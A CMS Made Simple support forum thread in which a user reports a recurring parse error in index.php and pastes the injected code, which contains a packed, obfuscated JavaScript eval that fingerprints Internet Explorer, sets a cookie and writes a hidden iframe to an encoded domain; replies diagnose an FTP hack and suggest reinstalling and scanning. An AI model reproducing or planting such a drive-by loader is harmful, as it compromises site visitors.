Parse Error on index.php

For questions and problems with the CMS core. This board is NOT for any 3rd party modules, addons, PHP scripts or anything NOT distributed with the CMS made simple package itself.
Post Reply
monoweb
New Member
New Member
Posts: 2
Joined: Tue Feb 23, 2010 10:33 am

Parse Error on index.php

Post by monoweb »

A site I have set up using CMSMS keps going down and shows this error message.

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/silverg/public_html/index.php on line 53

The code at fault is

else if (file_exists(TMP_CACHE_LOCATION.'/SITEDOWN'))
{
echo "Maintenancesa="%6A%64%6B%73%6C%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));Site down for maintenance.";
exit;
}


However this differs from code on a normal index.php file but even after changing it to its original state it reverts to this.

Can anyone help?
User avatar
Rolf
Power Poster
Power Poster
Posts: 7825
Joined: Wed Apr 23, 2008 7:53 am
Contact:

Re: Parse Error on index.php

Post by Rolf »

Hello monoweb,

Welcome here.
It looks like your website is ftp-hacked...

Rolf
- + - + - + - + - + - + -
LATEST TUTORIAL AT CMS CAN BE SIMPLE:
Migrating Company Directory module to LISE
- + - + - + - + - + - + -
Image
replytomk3

Re: Parse Error on index.php

Post by replytomk3 »

You have a script file elsewhere that reverts the file after you post the clean version.

For the quickest remedy, backup as I describe in my signature and reinstall CMSMS from a fresh version. If you want to dig in - download the website and scan files by using a scanner like Avast!. But in my professional experience you will have chunks of code missing or broken after a manual amateur cleanup.
Post Reply

Return to “CMSMS Core”